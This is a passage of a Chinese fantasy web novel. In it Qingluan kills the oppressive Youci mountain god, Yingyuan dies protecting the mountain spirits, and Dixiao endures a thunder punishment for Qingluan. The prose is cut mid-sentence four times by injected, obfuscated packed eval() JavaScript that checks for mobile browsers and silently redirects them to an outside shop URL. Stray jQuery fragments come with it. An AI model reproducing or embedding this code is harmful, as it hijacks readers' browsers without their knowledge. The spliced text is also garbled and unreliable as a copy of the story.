他们似乎被什么特别恐怖的东西追赶着,正在仓惶逃命。 青鸾凝神观察四周,这才发觉不知从何时起,整座山都弥漫着若隐若现的危险气息。 她振翅欲飞,想要离开这座弥漫着杀机的山,然而直到此刻才后知后觉,这座山早已被人设了结界,只能进不能出了。 她屏息蓄力,还欲再试,却见不远处又跑来一群人,他们的身后隐隐现着红光,似是有山火在追赶他们。 其中一人伸出手,拉住青鸾便往山里跑。 “快别试了小丫头,此乃山神之火,这结界也是山神设下的结界,若是能冲出去,我们早就逃了!”拉着她拼命奔逃的是一个银发婆婆,看起来有一些年岁了,似是山精所化。 旁边的人则是一边奔逃,一边附和道:“是啊是啊,山神的结界任谁也冲不破的,还是快跟我们一起逃吧,逃到婴垣大人那里去,或许还有一线生机。” 另有人催促道:“快别说这么多了,赶紧逃命,若被山神之火追上,那便是形神俱灭呀!” 青鸾将小蓝揽在怀里,跟着山精婆婆一路奔逃,心中纳罕。 山神乃守护一方之神,本是由天君封了神职,行下界代管之权的。瞧着这些四路奔逃的人,似乎都是这山中精怪化形,原本应被这座山的山神庇护才是,何以竟被山神之火追赶至此,甚至还有形神俱灭之祸? 此刻他们顾着逃命,自是无人替她解答疑惑的,她也只能跟着众人奔逃至山里,投靠他们口中的婴垣大人去。 待奔至山林最深处的一处洞穴,青鸾终于瞧见了众人口中的婴垣大人。 她原本以为,那位能够与山神抗衡,护佑山中一众生灵的婴垣大人,该是一个英武的男子。却没有想到,那立于众人之首,替他们挡下自西面奔腾而至的山神之火的,是一位身形娇小的女子。 带着青鸾一起逃命的那群人看见婴垣仿佛看见了救星,面上皆浮现出希望之色,但还没来得及喘气,又瞬间面露惊恐之色,颤抖着指向身后,“婴垣大人,婴垣大人!东边!山神之火又从东边来了!” 婴垣闻言拂袖一挥,将青鸾一众人送入洞穴之中,随后抬手格挡,仅凭血肉之躯挡下了自东边而来的山神之火。 青鸾没有想到,羭次山中还有这等人物。 婴垣如此轻松地挡下山神之火,并不是靠着施展什么厉害的术法。能够抵挡住来势汹汹的山神之火,她所凭靠的仅仅是那具强悍的肉身。 随着逃命而来的人愈来愈多,攻向洞穴的山神之火也愈加凶猛,婴垣却不曾退缩,而是以一己之力护住了整个洞穴。 娇小的身影被淹没在火海之中,隐约可见衣袂翩跹,似是在与火舌起舞。 那个可怖的梦,曾蔓延了整座九重天宫的焚世心火,再次于青鸾的脑海中萦绕。 她不知道,此刻自己的面色苍白得可怕。小蓝仰着脑袋担心地望着她,急得在她脚边转圈。 山火久攻不下,与婴垣抗衡许久后,猛然间收了势头,消失得无影无踪。 几片落叶从洞穴口缓缓飘落,此情此景,透露着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712377|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分诡异的宁静。 众人知道,真正的暴风雨就蕴藏在这表面的平静之下。 果然,片刻之后,地动山摇,一个巨大的身形出现在众人面前。 “这是山神真身。”青鸾心中一沉,忍不住转首问山精婆婆:“他究竟为何穷追不舍,非要置你们于死地不可。” 山精婆婆似是被那山神真身震慑住了,只是不住地摇头,说不出话来。 “羭次山神,枉你身为一方神灵。”婴垣仍旧挡在洞穴口,不曾退后一步,面色平静地道:“有什么,你只冲我来就是,何必殃及山中生灵。” “婴垣,本君早就知会于你,乖乖交出那株桃花,本君自会饶了这群不知好歹的山妖精怪。”那山神真身的声音自是沉稳有力,不怒自威,还带有几分迫人神性:“然而,你无论如何不肯交出他。是你连累了他们,此刻又何苦来怪本君殃及山中生灵?” “你这所谓的山神,当真无耻至极。”婴垣皱起眉头,眼中浮现愠怒之色,“桃花枝本属于我,你如此强取豪夺,竟还这般振振有词。” 羭次山神仰身大笑:“吾乃本山之神,羭次山中的一精一怪,一草一木,本就归吾之所有。你将那桃花枝植于羭次山中,为的是以本山灵气滋养于它,它既吸取了本山灵气,自然便是属于我的,本君何曾强取豪夺?” 山神话音落地,青鸾余光瞥见山精婆婆身形一动。只见她奔至洞口,指着山神的鼻子骂道:“我竟不知,世上还有这般无耻的神!你要强夺婴垣大人的桃花枝,不就是为着那株桃花本身灵气充沛,可令你修为大涨?这几百年来,你强取豪夺之事难道还做得少吗?我便不信,天君封你为羭次山神,不是要你守护羭次山中生灵,而是让你来压迫我们的!” 不难看出,羭次山中众人苦山神已久,想来平日里他没少利用神职作威作福。青鸾下意识想,待回到青要山,她一定要将此事告知帝骁,让他来为羭次山众生灵讨个公道。 却见山神真身陡然间光芒大涨,他肃穆道:“竟敢玷辱天君,当诛!” 数道强光如同利剑呼啸而至,瞬间穿过山精婆婆的身体,众人还未来得及反应过来,她便已被那些强光灼烧成了一地灰烬。 青鸾着实没有想到,羭次山神下手竟这般重,不容分说便取了旁人性命。胸中热血涌起,她忍不住上前一步道:“她并没有做什么,也根本没有玷辱天君,你竟直接要了她的性命。在你眼里山中生灵是否命如草芥?如此行径,怎可配称守护一方的山神!” “你又是从哪里来的小妖怪?”山神全然未将青鸾放在眼里,“今日本君清理门户,算你倒霉,偏要在今日路过此处。本君便让你们开开眼界,好叫你们知晓,何为天君亲封的山神威严!” 他声如洪钟,双掌结印,一道金光自他掌心迸出,随之而来的是泛着金光的熊熊烈火。 “天君法旨,诛形灭迹,启!” 26. 桃花盏 天君法旨乃天君亲封山神时所赐。四海八荒天下名山共五千余座,山神四百余众,每位山神都有一道法旨。天君法旨本意是为襄助山神在遇到危难时抵御外敌的,却未想到,如今竟被羭次山神用来诛杀他本应守护的羭次山中生灵。 在天君法旨的加持下,原本便厉害至极的山神之火更显神威,显然已非婴垣肉身足以抗衡的。她在火海中苦苦支撑良久,眼看便要被那泛着金光的神火所吞噬。 青鸾心中义愤难平,再也无法袖手旁观,飞身而起,冲入火海之中,“婴垣姑娘,我来助你。” 青鸾体内本身便有焚世心火之力,这山神之火对她威胁不大,只是火焰中蕴含的法旨神力十分难缠,几欲将她们的肉身撕碎。 婴垣喷出几口鲜血,抬首对着羭次山神怒目而视。她虽然狼狈,却未流露出丝毫惧意。 “好一个羭次山神,好一个天君法旨。我一早便领教过了,你们这些神啊仙的,全都是些道貌岸然的伪君子。今日我即便神魂俱灭于此,也不会让你如愿以偿。” 她这话说得决绝,将羭次山神激怒得彻底,但闻法旨发出一声巨响,随即一道神光击向婴垣,瞧那光中所蕴含的神力,似乎真有将她神魂俱灭之意。 婴垣支撑不住,自空中跌落,口鼻皆渗出血来。 “够了!羭次山神!”青鸾怒喝:“你强取豪夺不成,竟用法旨屠戮生灵,不知天君知晓你如此行径,会给你定何罪名!” “本君已说得很清楚了,这山中的一精一怪,一草一木,皆为本君所有,何来强取豪夺之说。且既然为本君所有,这些人的性命该如何处置,自然也全由本君说了算。即便是天君来了,也是如此说法。”羭次山神似是很满意天君法旨所赋予他的绝对力量,心满意足地补充道:“那桃花枝灵气充沛,似是具有仙根之物。如此神物,自然该收入本君囊中,由本君进行炼化。他们么,不配。” 青鸾的眸中倒映着熊熊火光,她身陷火海之中,目之所及皆是一片灼热的红。 此情此景,恰如那个恐怖梦境中的九重天宫。 身体里的心火陡然暴涨,它们在青鸾体内乱窜,好似阴差阳错打通了她的经脉。一股陌生又熟悉的力量在体内缓缓苏醒,然后开始横冲直撞,好像要冲破她的每一寸筋骨。 青鸾咬紧牙关承受着这股剧痛,“对于你们而言,是不是只要拥有了力量,就可以心安理得恃强凌弱。”她一字一句地说着,嘴角渗出血来,“是不是以为凭借着神的旨意,所有生灵都要向你们臣服,任由你们夺取本不属于你们的东西。” 羭次山神自然注意到了在青鸾体内灼灼沸腾着的焚世心火,她的胸腔已在火焰的灼烧下变为半透明,一颗世所罕见的强大心脏正在她的身体里有力地跳动着。 瞧见这颗心脏,羭次山神大喜,倘若炼化了它,他得到的好处绝不亚于那已具灵根的桃花枝。 “这可是你自己送上门来的。”他的语气里有掩不住的兴奋:“这样有力量的一颗心脏,居然长在你这样一个不入流的小妖精身体里。小妖,你用不着这么好的心脏,把它交给我吧!” 羭次山神话音落地,天君法旨再次现出一束光芒。 这回那道光芒直奔青鸾而来,生生穿透了她的胸膛,包裹住她的心脏,竟想直接将这颗心脏从她的身体里剥离出来。 小蓝着急地嘤了一声,不管不顾地扑上来,想要替青鸾挡住这束光芒。 可这束光蕴含了法旨中的天君意志,小蓝哪里抵挡得住。但见它扑至青鸾胸口,不过一瞬间,水蓝色的皮毛便被那道光芒灼烧得焦黑。 即便如此,它却不退不躲,用小小的身躯死死护住青鸾,不停地伸爪推她,想要将她推离这道吞噬性命的光束。 天君法旨被小蓝分去了一部分攻击,青鸾这才得到一丝喘息之机,逐渐从撕心裂肺的疼痛中恢复了意识。她睁开眼睛,首先看到的便是小蓝已被烧焦的身体。 “小蓝,你让开……让开呀……”再这样下去,它一定会死的。 青鸾顾不得心脏正在从身体里剥离的痛苦,她拼命抬起手,想要将小蓝推开。 小蓝的一双爪子虽然仍旧死死攥着青鸾的衣襟,但它早已晕死过去,被她轻轻一推,便从半空中落了下去,砸在地上,发出闷闷的一声响。 它砸在地上发出的这一声响无疑刺痛了青鸾,她的心脏好似痉挛一般,一阵一阵地抽搐着。蚀骨之痛犹如潮水,一波胜过一波。 青鸾咬破了嘴唇,硬生生承受着这远非常人所能承受的痛苦,于神力的禁锢中缓缓张开双手。 少顷,她的双手竟变成金色,自她掌心散发出的光芒竟然更胜天君法旨。 更令人惊奇的是,她竟然抬手握住了那一束穿透她身体的光芒,那束光芒在她金色的掌间仿佛化为了实体,反而被她所禁锢。 便在控制住对方杀招的一瞬间,青鸾趁羭次山神尚未反应过来,口中念诀,唤来帝宣赠予她的匕首。 “断神刃!破!” 帝宣在制作这柄匕首时,曾在匕首上施了咒,那咒不仅仅是为了方便青鸾御咒使用神器的。他还在匕首内封印了自己的一丝神力,且那神力不同于天君法旨中蕴含的天神意志,而是他从自己的灵魂中抽取出的灵魂之力。也就是说,即便他来日羽化不在世间,只要灵魂不灭,这匕首中的神力便不灭。 灵魂之力是远比天神意志更加霸道的力量。 但见匕首将那禁锢住青鸾的光芒撕碎,随后笔直地飞向羭次山神手中的天君法旨,灵魂之力与法旨中的天君意志相撞,发出一声轰鸣。 地动山摇中,天君法旨应声而碎。 羭次山神见状不妙,转身欲逃,却闻身后风声呼啸,扭头一看,青鸾踏火而来。 方才是他以山神之火逼得山中生灵奔走逃命,如今情形却是反过来了,他被青鸾的焚世心火逼得节节后退。 没了天君法旨,他对那焚世心火毫无招架之力。自知在劫难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712378|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃,索性开始厉声威胁:“本君乃是天君所封山神,你、你胆敢杀我,天君不会放过你的!” “我最恨被人威胁。”青鸾双眼布满血丝,她抬手御刃,手腕一抖,断神刃便冲向羭次山神,直直穿透了他的心脏,“尤其是拿天君威胁我。” 话音落地,断神刃归,羭次山神不可置信地盯着青鸾,然后低头望着自己的伤口,还未来得及感受到疼痛,灵身就已变为透明,如烟消散。 山神既死,心火渐熄,青鸾也自极怒中回过神来。 回过神来之后才发现自己做了什么,她竟在盛怒之下杀了羭次山神。 那一股怒意驱动着她体内的心火,甚至吞噬了她的理智,令她只想杀戮。似乎唯有不断地杀戮,才能平息怒火。 这带着杀戮气息的力量,强大而又陌生,现在的她根本驾驭不住。 她有些后怕地退了两步,深吸两口气令自己冷静下来。冷静下来后她蓦地想起小蓝,连忙回身奔向它。 小蓝受了重伤,青鸾将它抱进怀中,施法护住它的心脉。小蓝性命攸关,青鸾也顾不得帝骁许或不许了。此刻唯有将它带回青要山,以山中灵气滋养,方能治愈它的重伤。 随后,她站起身来,走向被众人团团围住的婴垣。 婴垣也伤得极重,且灵力正在溃散,恐已无力回天。 羭次山众人合力施法,却也无法救她,只能眼睁睁看着她神魂散逸。 “往日被那羭次山神欺凌,皆是婴垣大人出手相助,而今……而今我们却救不了她。”有人哭出声来。 此刻婴垣气息已极微弱,她一直强撑着,只待青鸾走上前来,这才松了口气,紧紧攥住青鸾的手。 自她掌心幻化出一根桃花枝来,花枝灵气充沛,想来便是羭次山神穷尽手段也想得到的那株仙物。 婴垣松了那口气,便再也提不起来,她将桃花枝交到青鸾手中,恳切地注视着她,“谢谢你,请……请你……将他……姐姐……” 重伤之下,婴垣已难以完整地说完一句话,待说完那句姐姐,她便再也支撑不住,身形溃散,化为了一块玉石。 众人见状大悲,全都哭出声来,齐齐朝婴垣跪拜。 显然那块玉石乃婴垣原身,此刻她被打回了原形,原身虽在,神魂已散。这已是一枚没有神魄的死玉了。 青鸾将婴垣玉与桃花枝一并收了,站起身来,不忍地望着仍在哀恸的众人,“羭次山神已死,想来此事很快便会被天宫知晓,届时天君将会降罪。你们快些逃吧,离这里越远越好。” 众人道谢,却也不放心青鸾。 “姑娘和我们一起逃命吧,天君他一定不会放过你的。” “是啊是啊,诛杀山神之罪极重,只怕会被处以极刑,你还是跟我们一起逃吧。” 青鸾抬首,遥遥望着天空,目光深远,好似能一眼望到九重天宫去。 她摇了摇头,“不了,你们快离开吧,我自会回去领罚。” 27. 桃花盏 羭次山神被杀,天君法旨被毁,九重天宫震怒。青鸾前脚刚至青要山,天君捉拿她的法令后脚便至。 若不是她在青要宫中长大,众人皆知她是武罗神君帝骁的人,只怕根本等不到她回青要宫,追杀她的天兵便已将她擒至九重天上了。 此刻分明是清晨时分,天空中却是阴云密布,不见天光。整座青要山都被笼罩在阴霾之下,狂风肆虐,似是要将这座山连根拔起,可见天君雷霆之怒。 青要宫中,大殿之内,帝骁遣退众人,负手而立。 殿内烛火昏暗,他独立风中,单薄的衣袍随风而动,背影显出些许萧索来。 青鸾注视着这道熟悉的背影,心底微微一颤。随后,她停下步子,轻轻唤了一声帝骁,“我回来了。” 帝骁回过身,面色一如往常,平静如一池湖水。却在开口时,从声音里流露出正在极力压制的愠怒:“你好大的胆子。” 想来他是真的生气了,若非盛怒之下难以压抑,他绝不会显露出自己任何的情绪。 青鸾从小在帝骁身边长大,自是知晓他的脾气,此刻更觉难以面对他的怒意,于是将头低下,垂下眼帘,一动不动,宛如木头人般站在原地,只有睫毛在微微地颤。 见她这副模样,帝骁似是无可奈何,向她靠近一步,软了语气:“为何多管闲事?” 青鸾闻言,抬起头来与他对视,很认真地回答他:“羭次山神利用神职作威作福,欺压山中生灵,还欲利用天君法旨强夺他人之物。如此行径人神共愤,我不是多管闲事。” 帝骁似乎讶异于青鸾竟能说出这番话来。他抬手按了按自己正在狂跳的眉心,沉默半晌方道:“诛杀山神,损毁法旨,你可知将受何惩罚?” 青鸾摇头。 帝骁的声音里怒意更盛:“按照天规,你将被送上诛仙台,形神俱灭。” 青鸾听到诛仙台三个字,不由一怔。帝骁所说的,可不正是梦里她的结局。区别在于梦里的她什么也没做,仅仅因为生了一颗被人觊觎的心脏,便被捆上了诛仙台。 并且,那个将她送上诛仙台之人,正是她的眼前人。 她不由有些恍惚,脱口而出:“若因此事被送上诛仙台,我也算死得其所。总好过怀璧其罪,被人觊觎心脏,说我配不上它,最后死得那样无用。” “你说什么?”帝骁听闻此言,眸光一紧。再望向青鸾时,他的目光里便多了一些审视的意味。 青鸾被他这样一问,回过神来,望见他目光中的猜忌,不觉有些难过。便也没有注意到此刻自己的声音里带了些许哽咽:“羭次山神说我有一颗十分强大的心脏,他说我这样的小妖,配不上这样一颗心脏。” “竟是如此。”帝骁听她这样说,默了一默,似是陷入了一瞬的沉思,随即抬起手来欲抚青鸾面庞,声音里带着连他自己都未曾察觉的柔和:“是因为这个,你才杀了他?” 他惊觉自己心里竟涌起了一阵莫名的情绪。此时此刻,他好像从未认识过眼前这个倔强的女孩。她眼中的坚毅与杀伐令他感到陌生,却也令他忍不住好奇。 然而他的触碰却被她下意识躲过了,似乎连她自己都不知道为什么,总之,她条件反射般躲开了她的手,以一种防御的姿态。 “鸾儿?”帝骁的手僵在半空中,他皱眉唤她。 青鸾将头别过去,不欲与他对视,宛若一个犯了错的孩童,紧紧抿着嘴唇。 天边绽开一道惊雷,将青要宫照亮了一瞬,那一瞬间青鸾与帝骁的神情都被照映得无比清晰。相对无言,皆是落寞。 便在此时,帝骁近侍踏入殿中:“神君,天君已连催十二道法令。”顿了顿,他抬首望了青鸾一眼:“责令青鸾姑娘立刻随天兵上九重天。” “我现在就去。”听到天君责令她立刻上九重天去,青鸾反而好似松了口气,准备离开却被帝骁拦下。 “哪里也不许去,你就在此处待着。”帝骁拂袖在宫中设下禁制。不用问也知道,这结界是专为青鸾而设的,若帝骁不解开禁制,她便不能离开此处。 青鸾忍不住心中一颤,虽不可置信,但摆明了帝骁要为了她违抗天君之命,“可是,我要去九重天上领罚……” “我代你去。”帝骁打断青鸾,深深地注视了她一眼,不再多言,转身离开青要宫。 青鸾追上前去,及至宫门却被结界拦住,她果然不能踏出宫门半步。 宫外已无天兵身影,想来帝骁已随他们去了九重天上。 她瘫坐在宫门口,思绪混乱如麻。 其实一直是这样的,一直以来都是这样的,帝骁从来便待她这般好,怜她护她,甚至就连她犯了这样的大罪,也要违抗天君之令袒护她。 方才她之所以躲开帝骁的触碰,之所以觉得他为了她违抗君令是一件不可思议的事,乃因那太过真实的梦境无时无刻不在侵扰着她的情绪。 在被擒拿至九重天上之前回一趟青要山,正是因为她自知诛杀山神乃是死罪,也许今次是她与帝骁的最后一面,而她想要在死前问个明白。 她想亲口问问帝骁,是否她的心脏当真如此强大,强大到可以生死人肉白骨,她还想问问他,是否有一个叫做阿媱的神女,此刻正被他以上古神棺养在某处。 他这样护着她,其实并非是护她,而是替阿媱守护那颗可以令她复活的心脏。 其实在羭次山上,她同小蓝说她心中已有打算时,便抱着同样的想法。她实在受不了日日夜夜对帝骁防备猜忌,与其如此,不若问个明白,那个梦里的一切究竟是不是梦。 可是,还未待她回到青要山中,便发生了羭次山之事。方才那样的情形,她实在难以开口向帝骁提出这个问题。 眼下他为了她违抗君令,已到了九重天上去,还不知要承受怎样的惩罚,才能平息天君怒意。 片刻之后,笼罩着青要山的阴霾逐渐散去,原本阴云密布的天空开始放晴,阳光从天上洒下来,洒进山间密林,慢慢地,从山峦间升腾起些许雾气。 此情此景,可谓安宁。 青鸾却无法安宁,她将一颗心悬着,抬起头紧紧地盯着苍穹。 白日之下,忽见天光一闪,紧接着雷声滚滚,竟是天雷大作。 这惊雷轰鸣之声当真恐怖至极,震得地动山摇,天地为之变色。自那滚滚天雷之中,还隐隐传出几声龙吟。 青要山中没有旁人,更多的乃是飞禽走兽。它们听闻龙吟之声,纷纷自山林间走出,随之而啸,俯首跪拜。 但见青天一角风云涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712379|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,那风云最深处正在电闪雷鸣,隐约可见一道龙影正在闪电之间穿梭。 青鸾攀住宫门站起身来,一动不动地望向天边。 那是九重天雷之刑。 九重天雷,乃天宫八道极刑之一。相传施刑的天雷乃创世元素之一,于惊雷声中,可孕育生命,也可毁天灭地。这是最精纯的自然之力,原本并不能为人所用。 先神的时代已太过遥远,不可考据,那些先祖神祇是否有这般大神通,能够驱使自然之力,众人不得而知。他们所知晓的是,即便是那些与天地万物同生共长的后神,也不曾见过有谁能驱动此等最为精纯的自然之力。 至于天宫为何会有此等刑罚,竟能驱动创世天雷,还得从那位独自杀上九重天,以一己之力击败后神,凭借凡人之躯修得神位的现世神之首说起。 据说那位精彩绝艳的少年至尊击败后神独步天下时还很年轻,而他之所以如此年轻便能修得神位,乃因他曾孤身一人独闯归墟遗迹,于那上古之战的遗迹中获得了大机缘。而他在那遗迹中修炼时所悟得的阵法之一,便是一个能够擒获创世天雷元素的阵法。 此阵法助他杀上九重天宫,甚至击败了后神,其威力自然不言而喻。 此刻帝骁正在承受的九重天雷之刑,便是沿用自他的这道上古法阵。 青鸾担心地攥紧了拳头,指甲不自觉嵌进掌心的肉里。 那道正在天雷之间穿梭的龙影正是帝骁的黑龙真身,可以想见那天雷之刑究竟是何等的恐怖,居然逼得帝骁显化出龙身才能抵挡。 却没想到,这还只是开始。一刻钟后,天雷交织得愈加密集,帝骁已经避无可避。道道天雷结结实实打在他的真身之上,每一道天雷劈下,其威势都仿佛要劈裂天地,令人见之色变。 而这样残酷的雷刑,居然持续了整整一日。直到半夜子时,天边浓云方才消散,那震慑众生的天雷也终于渐渐止息。 青鸾不知不觉已在宫门站了一天,夜色最浓时分,帝骁披着满身的冰霜归来。 见到青鸾仍站在原地,他微微一怔,随后无奈地笑了笑,“不要告诉我,你在这里傻站了一天?” 听见帝骁熟悉的声音,青鸾这才真正松了口气。她冲到他跟前,抬手想要替他拂去肩上冰冷的霜。 却不料指尖刚刚触及他的肩膀,便觉一阵剧痛。那又麻又痛的感觉顺着指尖蔓延至她的全身,瞬间自皮肉渗透至五脏六腑,紧接着便是筋骨俱痛。 青鸾连忙将手缩了回来,然后意识到了什么,抬首心疼地望着帝骁。 那些不是冰霜,而是残留在他身体上的天雷之痕。 “现在不要碰我。”帝骁侧过身子,同青鸾拉开距离,“我需闭关半月,在此期间你乖乖待在青要山,哪里都不许去。” 青鸾闻言皱眉,撅了撅嘴正欲反驳,可是看见帝骁因她受罚而些许憔悴的面容,又立即将反驳的话咽了回去,乖巧地点了点头。 帝骁深深地注视了青鸾一眼,抬手解了宫中结界,却又立马在山中布下禁制。这禁制显然也是为青鸾而设的,在他闭关期间,她虽是可以离开这座宫殿了,却无论如何也不能迈出青要山一步。 做完这一切,他方淡淡地道:“乖乖等我闭关出来,有话问你。” 28. 桃花盏 因着帝骁闭关,青要山中无人管束青鸾,她虽不能离开此地,但至少在山中是绝对自由的。也正因如此,小蓝暂时是安全的。 在帝骁闭关出来之前,它都没有被扔出去的风险。青鸾也就光明正大地将它泡在青要山的疗伤圣泉里,还采山中灵芝为它滋补,不仅治愈了它的重伤,还将它养得愈发油光水亮。 小蓝既已恢复健康,羭次山之行所余下的事,便只有一件了。 青鸾终日对着婴垣玉和那束桃花枝,绞尽脑汁地思考,想了许久才想出一个自觉合理的推测来,“婴垣最后说的那句话是什么意思?姐姐?难道她还有一个姐姐,最后是在嘱咐我将这束桃花枝交到她姐姐手中么?” 小蓝在她旁边蹲着,重重地点头。这个猜测非常有道理,非常合逻辑,非常之可行。 “可是,我并不知晓她的姐姐是谁呀?”青鸾振奋了一阵,旋即又沮丧地将目光落回到婴垣玉身上,无奈摊手,“再说了,即便知道她姐姐是谁,我们也并不知晓她现在何处。而且,即便知道她现在何处,倘若帝骁不肯放我出山,还不让我多管闲事,我又该如何将那桃花枝交到她的手上呢?” 越想越觉得此事困难重重,她忍不住一口接一口地叹气。 小蓝眨巴眨巴眼睛,咂咂嘴站起身,拿脑袋顶了顶青鸾。 “嗯?”青鸾低下头,疑惑地望向小蓝。 小蓝嘤了一声,摇摇尾巴与她对视,目光里满是坚毅。 青鸾好似从那坚毅的目光中读懂了它想说的话,“小蓝,你是不是想说,现在别管之后会如何,我们先把眼前的困难一个一个解决了再说?” 见青鸾能听懂它在嘤什么,小蓝的眼睛瞬间就亮了,尾巴也摇得更加欢快。 青鸾歪着脑袋想了想,然后认同地嗯了一声:“好吧,那么眼下的第一个困难便是,我们该如何知晓婴垣的姐姐是谁,现在何处呢?” 小蓝也歪着脑袋思索了一阵,甩甩尾巴绕着婴垣玉走了几圈,随后似是想到了什么,用爪子碰了碰玉身,示意青鸾上前来。 青鸾走上前去,学着它的样子将手搭在玉身上,“小蓝,你可是有什么好法子么?”她目光切切地注视着它。 现如今青鸾是觉得小蓝很有些本事在身上的,毕竟当初能够寻得女娲宫,也是依靠小蓝带路。此刻寻找婴垣之姊,说不定它也有法子呢? 显然小蓝的确是想到了法子的,待青鸾将手搭上婴垣玉身后,它闭上双眼,额间闪烁起蓝色光芒。光芒最盛处隐隐有图腾显现,可那图腾太过神秘,青鸾竟从未见过,也从未听说过。 她望着那道图腾,不禁好奇,难道那便是代表着小蓝家族力量的图腾么?小蓝的来历果然神秘,她跟在帝宣身边识过不少族徽图腾,然而小蓝的这个,她却连听也未曾听过。 思索间,他们身边的场景已悄然变幻。她与小蓝已不在青要山中,而在另一处山清水秀之地。 青鸾惊奇地睁大了眼睛。 她心中清楚,普天之下能解开帝骁禁制的人寥寥无几,此刻他们并非真正地离开了青要山,而是以婴垣玉为介质,化出了一道幻境来。 这幻境之真,瞧来并不亚于慕容雪在空桑山上借助归魂树之力所化出的幻境,当真十分了得。 可是,小蓝为何要化出这样一个幻境来?青鸾打量了四周一番,旋即将疑问的目光投向小蓝。 小蓝用爪子摁住青鸾的手,示意她千万不要将手离开婴垣玉身,随后闭上眼睛继续施展图腾之力。但见那图腾的形状越来越明显,自图腾周围,凝结出了无数条比蛛丝还细的半透明丝线。 那些丝线拂过小蓝的爪子和青鸾的手,然后缠绕在了婴垣玉身上。 便在它们缠绕住玉身的一瞬间,婴垣玉好似短暂地活了过来,由一块黯淡无光的死玉变为了焕发着晶莹生机的活玉。 只是可惜,婴垣玉所焕发出的那股生命力只在一瞬间,很快玉石便回归了黯淡,死气沉沉。 不过,它方才焕发出的那一瞬的生机,似乎是被那些半透明的丝线所捕捉了,丝线携带着婴垣所残留的气息,缓缓舒展开来,像在水中游曳,不断地往四周伸展。 青鸾触摸着这些丝线,心有所感,顿时了然,“小蓝,它们是时间,对么?” 小蓝睁开双眼,此刻它的眼睛比平常更加好看,湛蓝湛蓝的,里面还有光芒星星点点,好像盛满了星辰大海。 它额间的图腾还在不断凝结着半透明丝线,那些丝线围绕着它与青鸾,缠绕着玉身,继续在这幻境中编织过去的画面。 随着丝线的缠绕与舒展,原本空无一人的幻境里多了些烟火气息。浅溪里有鱼儿摆尾,山林间也出现飞禽走兽。 婴垣玉好似与这一片空间产生了共鸣,振动着朝前方飞去。 青鸾与小蓝连忙跟上,随它在山林间穿行,然后停在了一片湖泊旁。 湖泊之侧,有一粉衣女孩正在盘腿而坐。看得出她年纪尚小,稚气未脱,脸颊上还带着些婴儿肥,倒也十分可爱。 那女孩不知是生了什么病,此刻显然是在静坐调息,她的身上还插了许多根银针,青鸾瞧着,似是帝宣曾经同她提到过的针灸之术。 帝宣同她详细说过,那针灸之术很是厉害,擅使针灸的医者往往熟知人身穴位,因此那女孩虽然浑身都插着银针,不过想来那些银针都插在她的某些穴位上,她应当是不疼的。 饶是如此,青鸾看着她小小的一个,身上插了这许多的银针,总觉得她应当很疼,于是微微侧过头去,有些不忍心看。 她方才便已认出,那粉衣女孩应当便是幼时的婴垣。小蓝使用图腾之力召唤出的时间丝线,正追索着婴垣残留的气息,引着他们探寻婴垣过去的记忆。 对抗羭次山神时,青鸾曾讶异于婴垣竟拥有那般强悍的肉身,却没有想到,幼时的她看起来如此病弱。 便在此时,那些半透明丝线似乎加快了缠绕的速度,幻境中的时间也跟着加速流逝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712380|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>青鸾有些分不清到底过了多久,但见湖泊上已多了些夕阳残影,想来是已近日暮了。 女孩额间渗出了许多细汗,她看起来有些痛苦,脸色涨得通红,嘴唇也已皲裂干涸。 终于,她停止了调息,睁开双眼,将银针尽数弹了出来。舒了口气,她站起身来想要离开,不料起得太猛,踉跄了一下,她惊呼一声,直直便朝旁边跌倒。 一阵风从青鸾身侧掠过,携来些许桃花清香。青鸾眨了眨眼,看见不知从何处飘来些桃花瓣,轻轻托住了婴垣向一旁倒去的身体。 婴垣原本闭上了眼睛,以为这一跤是逃不掉了,不料被这些花瓣托住身体,她并没有跌倒在地,自然也没有迎来她想象中的疼痛。 